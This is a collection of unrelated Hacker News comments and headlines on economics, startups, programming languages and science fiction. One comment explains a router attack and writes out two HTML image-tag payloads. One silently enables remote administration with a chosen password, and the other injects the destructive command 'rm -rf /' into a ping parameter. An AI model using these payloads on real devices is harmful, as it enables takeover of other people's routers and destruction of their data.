skysight-inc/HackerNews huggingface dataset:
Your observation is a known flaw with this line of thinking. In fact, it's such a powerful rejoinder I'm really surprised the NYT didn't address it.

If I remember correctly, movement among quintiles in the US is such that the average person moves through many. Yes, there are the permanently wealthy, and the permanently poor, but they are the exceptions rather than the rule. So when people say "the rich get richer" what they really mean is that the income segment defined by that qunintile, over all, got richer. Individual people, however, move around a lot, as anybody who has participated in the economy in the last couple of decades can attest.

I know I'm not sourcing my statement. Apologies. I'm simply relying on several rebuttals to this type of graph I've read over the years. Hopefully somebody else will be able to provide some more substance and move the discussion along.

EDIT: Random Google link: http://www.urban.org/publications/306775.html

These studies of relative mobility have produced remarkably consistent results, with regard to both the degree of mobility and the extent of changes in mobility over time.[5] Mobility in the United States is substantial according to this evidence. Large proportions of the population move into a new income quintile, with estimates ranging from about 25 to 40 percent in a single year. As one would expect, the mobility rate is even higher over longer periods—about 45 percent over a 5-year period and about 60 percent over both 9-year and 17-year periods.
The easy conjecture is to point to a combination of trickle down economic policies and the rise of cheap digital replacements, but I don't have a good analysis to back this up.
R&D is Important, But For Whom?
Largely ignored in all these comments is the enormous legacy of Soviet SF. During all the years of SF's Golden Age and the decades after, the main ideological and technological competitor to the US was the Soviet Union.

We're so familiar with the tropes and concepts of US-centric SF, but imagine a whole new world of science fictional ideas - separated only by language! That's Soviet SF...

The finest series of translations was Macmillan's Best of Soviet Science Fiction in the 1980s. Some of the books are now very rare and expensive, but if you're a seeker of ideas, they're priceless (especially any stories by Genrikh Altov).

As an introduction, I particularly recommend World's Spring, edited by Vladimir Gakov. And one of the finest SF novels I've read is Self Discovery, by Vladimir Savchenko (freely available online here: http://lib.ru/RUFANT/SAWCHENKO/savchenko_selfdiscovery_ok-en...).
While YC may want to be the default choice for the best ideas, they also love and support the startup scene. Given they can only accept a fixed number of companies each class, they're cheering this. More startup support worldwide makes that many more bored cubicle-dwelling programmers worldwide think that much harder about leaving to pursue their dream, which benefits YC.
Thanks to our friends at 1C We have five Men of War: Vietnam keys to give away.
Men of War: Vietnam is the latest entry in the award winning RTS series Men of War, and it’s first outing not set in World War 2
There's company called Invincea that provides a browser in a VM for security (www.invincea.com).

I have no connection to the company and have not used it, just saw them at the RSA conference this year. I think there are a number of companies providing similar solutions.
The other issue is the that level of consumption of everyone in every household income quintile in the United States has steadily been going up (in a way not fully reflected in the consumer price index or other gauges of consumer behavior), so almost everyone has more stuff, more space, and more comfort and health than people in the "same" income quintile did in my childhood. There may indeed be some structural, societal problems caused by uneven income distribution (what I have liked about the United States and Taiwan, the two countries I have lived in the longest, is that they have tended to have better Gini coefficients

https://www.cia.gov/library/publications/the-world-factbook/...

http://hdrstats.undp.org/en/indicators/161.html

than some other countries around the world), but there will ALWAYS be some people who make more money than some other people living in the same country, and the main issue is to help each country and all the people living in each country gain prosperity over time, which has been the general worldwide trend.

http://www.theworldeconomy.org/

http://www.economist.com/node/18679001

To reply to a question in another comment below:

So the working class has been taken to the slaughterhouse?

No. Americans of all income levels still enjoy unparalleled prosperity compared to most people around the world, and the high rates of voluntary immigration into the United States even from countries that are themselves prosperous show that something about the overall mix of living conditions here isn't "slaughtering" people but rather meeting many people's aspirations on balance, in some way that makes moving far away from home an appealing idea.
Quite impressive. It would be more awesome if it supports multiple Google accounts.
Ask HN: Software for calculating estimated quarterly taxes
Hey HN,

I'm sure I'm not the first person among you who's been pulling their hair out trying to make sense of estimated quarterly taxes (and being too cheap to get help from a tax pro). Is there any sort of software out there that would make this process a little less painful? I checked Turbotax and others but I can't tell if they have any tool for this. Do you have any advice or tips?

Thanks a lot!
Ruby breaks these things. But Ruby is not generally even considered for a lot of what Java is used for.

Those two things aren't independent.

Don't get me wrong, I like Ruby far better than Java. But Ruby is simply not considered a stable enough language for your huge app that you plan to maintain for 20+ years... Nor should it be.

Java is that stable. On the flip side, Ruby is improving much more quickly than Java. I write small apps I plan to maintain frequently far more often than I write apps that need to sail onward for 20+ years.

Two different market niches, defined by two different groups of customers.
suddenly unpopular with both users and investors...

The first rule of bad journalism is to confuse the first and second derivatives. Groupon is enormously popular with users and investors--it's just not the most popular it's ever been. Yipit's fairly recent data indicate that while the daily deal market contracted slightly over the summer, but Groupon shrank more slowly than LivingSocial ( http://techcrunch.com/2011/08/25/yipits-daily-deal-report-gr... ).

In "Fooled by Randomness," Taleb points out that the more frequently you measure results, the more random they are. Second-by-second, Warren Buffett is losing money just about half the time.

Groupon obviously has problems, and LivingSocial is executing amazingly well, but it should be laughable to call them "unpopular" rather than "less massively popular than at their peak a couple months ago," in the same way that you wouldn't call someone "poor" because they moved down a spot in the Forbes 400.
Krugman is wrong - Bitcoins not hoarded - Massive selloff
A Stadium-Sized Balloon In The Stratosphere Could (Re)Engineer The Climate
IIRC, the exploit goes like this: get the victim to log in on their router (typically HTTP Basic auth) and convince them to go to a site that contains e.g.

<img src="http://192.168.0.1/admin.cgi?remote_admin=1&passwd=foo&confirm_passwd=foo">

or

<img src="http://192.168.0.1/ping.cgi?addr=\"127.0.0.1`rm -rf /`\"">

Not the most convenient attack, but hardly impossible.
if you are looking to easily keep your own list of best science fiction books, check out raunk http://raunk.com/list/82,268
Liquefying virus uses one gene to make caterpillars climb to their doom
I share your experience. We had to do a huge amount of maintenance to upgrade from Java 5 to Java 6. It was definitely not just drop-in.

Does that mean the code was written badly? Possibly. It wasn't amazing. Still, that seems more like the rule than the exception.
This is cool. I've been using it since you told me about it. You should mention that one can load twitter friends and easily check what they listen to
End of the postwar boom? Following WWII the US dollar became the world's reserve currency, this created a situation of constant demand for USD. The raised the value of the US dollar and made resources cheap for the US. (It's also allowed us to abuse the currency quite a bit. This will not last.)

Demographic changes which had been happening for years continued: in 1945 16% of the total labor force worked in agriculture, by 1970 only 4% did (it's <2% now). People were moving from rural areas to cities and getting jobs in industry, changes which brought immediate changes to income and living standards.

In the 70s and 80s huge amounts of industry moved out of the country, first to Mexico and then to Asia, seeking cheaper labor. The rest of the world starting catching up with us, they were moving from agriculture to industry too. This made the more expensive labor of the US less competitive. The US economy shifted to something we couldn't use Chinese labor for: building houses(and weapons) for each other.

The postwar period was really an exceptional time. Lots of things happened really. I don't think you can really attribute the changes that came at the of the 70s to a single event or policy.
Poor business fundamentals create poor business outcomes. Groupon needs to reevaluate itself, and if it must, downsize and regrow with a better product. Basically, Groupon needs to figure this out - or everyone else will - and it won't be good for Groupon.
The actual Exchange Online infrastructure has been up and running in production for a couple of years supplying the Live@EDU service.
This analysis also ignores actual purchasing power (non-core inflation). Wages may have stagnated, but purchasing power for non-core goods has soared.

Free trade is a powerful cause of both wage stagnation and purchasing power. Sure, eliminate free trade and the working class will see wages go up; but they'll spend those wages on $4000 plasma TVs and $50,000 economy cars.
AOL And Yahoo Merger? Two Dogs Don’t Make A Right
Lowe’s Invests In 42,000 iPhones To Improve Your Shopping Experience
Why not email? What's with the Twitter obsession?
A similar point: I've never actually met someone who has 4 weeks of vacation to actually use all 4. Generally, when you work up to the point at a BigCo where you can command a larger vacation, it's hard to remove yourself from the day-to-day practices of work.

Plus, America has an embedded culture of trying to "outwork the competition" in everything we do, from sports, to academics, to the workplace.

It stems from the postwar era of growth where human hours logged in an office were the only drivers of progress. Obviously the world is different now, with the advent of the internet, but old habits die hard.
> On a totally unrelated note, it'd be nice to have HN hyperlinks so one doesn't have to put URLs in parentheses.

And if it did, it't be nice if the syntax would be putting the url in parentheses.
In One Year, Tumblr Goes From 1 Billion Posts To 10 Billion
My dot files are getting renamed. The dot is getting removed. Is there any way to prevent this? If it (I don't know if it's your app or GDocs) modifies my files in any way, I can't use it for file storage. Period.
I like it as well, it has it's issues (any overhaul that large is going to have bugs relative to a design that's had significant time in production to uncover issues) and I'm always amazed that folks don't understand that if you maintain old UX indefinitely to placate a small majority of users, you end up creating technical debt that slows down product innovation.
too bad it only lasted one day...
After Selling Steek To F-Secure, French Entrepreneurs Land $3M For Ezakus Labs
Yeah, I think Krugman tried to mix-n-match the dynamics of most (inflationary) currencies with BTC which are designed to be deflationary. The supply of BTC will drop off predictably. It's the predictability that makes a usable currency. For example, since everyone knows how the supply of BTC will change over time, people who are buying now can take the future value of BTC into consideration already.
Apple Crushes Samsung in German Court, Galaxy Tab 10.1 Ban is Complete
Follow Products And Reviewers In Your Facebook Feed With PowerReviews
Yes -- many families have shifted from single to dual-earner in order to maintain the same standard of living, so the household income charts really understate the decline in individual wages over this period.
I'm sure there are similar devices that make the same mistakes even for the login screen. For me, this article isn't so much about this particular device, but more a very clear and illustrative guide to how easy it is to get root access to many little linux-driven devices.
Correct me if I'm wrong but for a startup, you only have one chance. So you have to pick the right idea then the idea is all for a startup =>
For me, the right thing for a startup founder is to transform himself to a typical custommer to find the right idea.
Concerning the iteration process, that's a question of beta testing. So you have the right idea, now you have to make a good application with it which is something different.

In conclusion, I would say that the good equation is: Idea+Ship=Startup. (I assume the beta testing phase is as easy as programming or whatever)
This had to be sort of expected. Groupon has grown fast and they turned down the acquisition offer from Google. This suggests that they were messaging new employees "We're taking this one all the way to IPO." And then proceed to ply new employees with stock and spreadsheets showing great returns. Many people at a 'startup' understand that they are sacrificing a bit of pay or benefits now, for a potentially much larger upside later. And Groupon certainly fit the mold.

Now Groupon pulls back on their IPO plans, folks who had been "taking one for the company" feel cheated because they have a harder time imagining huge returns than they did before. (On a related note I've had this issue with calling options and stock 'compensation' in the past because really until someone buys your paper it really isn't something you can spend) So the sales folks turn around and say well if we're not going to get that money we foolishly believed would be dripping out of the IPO spigot, they're going to ask for it in cash.

I really wonder if they would have crossed this threshold (suing) if the 'big cheeses' in the company hadn't decided to do a huge funding round to pay themselves off. (another way to convert 'potential' in earnings into cash).
30 mln iPhone 5? are you sure?
Escoserra - Viewing Profile - Visifire Forums
You are introducing an additional variable that doesn't make any sense to include. Even if mobility is greater now than it was (something of which I am skeptical), the fact remains that the top quintile is still only ever 20% of the population. If one new person moves into the top quintile, that means someone else has moved out.

"Most people's earning potential goes up over time." This is generally true, but it goes up like compound interest. If you start high, it tends to get massively high by the time you retire. If you start in the middle range, the results are much less impressive. If you stay poor for very long after being done with school, your gains tend to be miniscule.
There's also (anecdotally) the reverse effect, where GB > US, apparently on the basis that Americans are brash and crude, whilst the British are somehow more sophisticated.

I can't say that's been entirely my experience, but I've certainly heard it voiced a few times.
I added Stanislaw Lem in the reddit thread, didn't get a single upvote :( He's one of my favorite (sci fi) authors. Deep, absurd, comical. By the way, I think Solaris is some of his weaker novels.

I particularly like The Star Diaries, The Cyberiad and His Master's Voice.
But there was also other shtick...

"They've solved a problem that no one else was able to solve ... how to go that last mile to the merchant"

And

"They've assembled a team like no one else [implication they can pivot if necessary]"

And

"Anything done by [supposed-superstar-manager] is worth a lot"

And naturally, all this was wrong-headed. The retail sector as a generic is pushed to the boards in this economy. The idea that you can squeeze excess capacity for profits is simply false given that no industry has ever attained economies of scale without building for it from the ground-up. Blood? Stone? You cannot squeeze...

TL;DR; You could say Groupon was built on looking at plans that worked for sky diving businesses and pretending they'd apply to restaurants.
Amazon Locker turned on at 7-Eleven
I'd wager it was something in that neighborhood. Either google withdrew the offer or groupon knew that google would not go ahead with the offer after seeing their financials and hence decided to decline it. The offer however made them seem really hot though. Hey, if google wants them why shouldn't we regular folks?
They were pigs, not hogs. The original investors walked away with a majority of the final round of funding. I don't think Google's $6bn offer would have allowed them to do that. The people left holding this junk are now trying to pawn it off on the public...
It shouldn't matter how well the code was written. Binary compatibility should be binary compatibility, period. If it compiles it should be compatible across JVMs. The fact that this is not the case is just another nail in the coffin.
I imagine that development for their upcoming tablet would occur via the Amazon Appstore. Thus, you'd probably want to start here:

https://developer.amazon.com/welcome.html
To be honest going into job interviews with a sense of entitlement about paid vacation time would probably reflect poorly with potential employers.

We offer 3 weeks (fairly generous for Canada), but I would be extremely put off by a candidate who wanted to discuss vacation time first and foremost.
Michael J. Fox's "Back to the Future II" Nike MAG shoes are for sale
I know Netflix has instated a flex vacation policy -- take as long as you need, but you have to get the job done first.

It depends on where you are looking to work? If you're looking to sign on with a startup hiring their first 5 employees, then you're against the odds. Most big American companies are the same way.

In all, it will depend on how good you are and how essential you are to the company. For the first year of employment at a 150 person firm, you may have to make do with 10 days. However, if your role is crucial to the company, negotiating 4 weeks of vacation should be easy.

As it stands right now, unless you're a god among men in your trade, you are replaceable, simply because they haven't hired you or even fallen in love with you in the interview process. I'd apply to a mid sized company you want to work for, and negotiate up for vacation. Everything's negotiable in hiring.
I interpreted it as each subscriber can be billed on any day of the month as opposed to everyone billed on the first for example. This would help the cash flow.
How is productivity measured? GDP / (Hours Worked * Salary) = Productivity?
Do the limits in the chart (both parents working and household debt maxed) and your observation mean that increases in consumer demand in the near-to-medium term can only come from increases in purchasing power?
Seeing Leslie Lamport's first paper (about braids, for a high school math journal) makes me want to put together a list of computer scientists' first papers. Now I've got two favorites:

Leslie Lamport, "Braid Theory": http://research.microsoft.com/en-us/um/people/lamport/pubs/b...

Don Knuth, "The Potrzebie System of Weights and Measures", Mad Magazine: http://upload.wikimedia.org/wikipedia/en/5/52/Potrzeb.jpg
For it to be prior art, the entire invention must be publicly documented and published. You must also disclose how to use it.

In other words, you must release it to the public where everybody, including your competitors, can use it as they see fit. While that's better than getting your pants sued off by a troll or a big corporation for using your own invention, it's most certainly worse than the status quo.

On top of that, the courts have a funny way of defining what is and what is not obvious. You may think the process you created and use in your company is obvious, so you never bother to document it or publicly disclose it, and then you end up in court. With zero protection. Is that what we really want?
Completely misleading title - it should read 'Groupon Salesperson Files Class-Action Suit'. You only need one person to file a lawsuit, class-action or otherwise, and there's no indication in any of the docs that any other members of Groupon's sales team are involved.

From the filing (in Justia - http://docs.justia.com/cases/federal/district-courts/illinoi...) it looks to my completely-not-an-expert-eyes like Groupon's mistake here was not treating its salaried employees like salaried employees - on rare occasions it gave them overtime pay, and on the attached pay stub hours and an hourly rate ($15.62) are clearly recorded. Whoops.
RIM may be rushing BlackBerry Colt QNX phone amid weak BlackBerry 7 sales
With the caveat that this facile explanation is almost certainly insufficient to explain large scale changes in the largest national economy:

I believe during the boom years of industrializaton, THE scarce resource was manpower. Factories were full of machines, and machines were operated by humans. In 1943 U.S. Steel employed 340,000 workers.

The high demand for manpower allowed workers to capture a greater proportion of the economic surplus their activities generated through negotiation.

At some point other ingredients of business became crucial and thus the balance of power shifted.
FTA:
"since Web
access requires authentication, this bug might
be exploitable by administrators only, so it is
only useful for people who would like to gain a
shell on their own systems"
Probably not a bad initiative. I would still like to see large department store chains actually invest in their staff through salaries and education directly, instead of adding technology.
DARPA-RA-11-52 Cyber Fast Track funding
DARPA fast track funding for security "hacker spaces, community, boutiques".

More from mudge@blackhat 2011: http://www.youtube.com/watch?v=IWGjWYIToFU
>"My hat is off to TechCrunch for energetically filling the void in startup coverage that had opened up by the mid-2000s, after the collapse of dot-com-era biztech publications such as the Industry Standard, Business 2.0, and Red Herring"

And that's exactly what TechCrunch is/was: the next-in-line tech media player that filled the vacuum and rode the next bubble to the peak. Then fell apart.

The tech media and tech industry aren't really separate entities. They're part of the same machine.
My guess as to what happened in the late 70s... the microprocessor, and computers becoming part of the workforce.
Chris, the Inspirational Cabbie
Http://www.addthis.com/bookmark.php?v=250&username=xa-4b4bd4397c4f0c91
Other great papers:

Flapjax: A Programming Language for Ajax Applications:

http://www.cs.brown.edu/~sk/Publications/Papers/Published/mg...

Embedded probabalistic programming:

http://okmij.org/ftp/kakuritu/dsl-paper.pdf

Memoization of Top-down Parsing:

http://arxiv.org/PS_cache/cmp-lg/pdf/9504/9504016v1.pdf
Why would they want to pay more for iPhones with locked out features (like calls and email) instead of cheaper iPods? For the price of an iPhone, you're just a little bit away from an iPad, which in terms of retail style, is as hip as it gets.
Sprint will have iPhone 5 in October and will offer unlimited data
No, email encryption is a godawful mess and impossible for normal humans to use.

And you can't control who sends you email.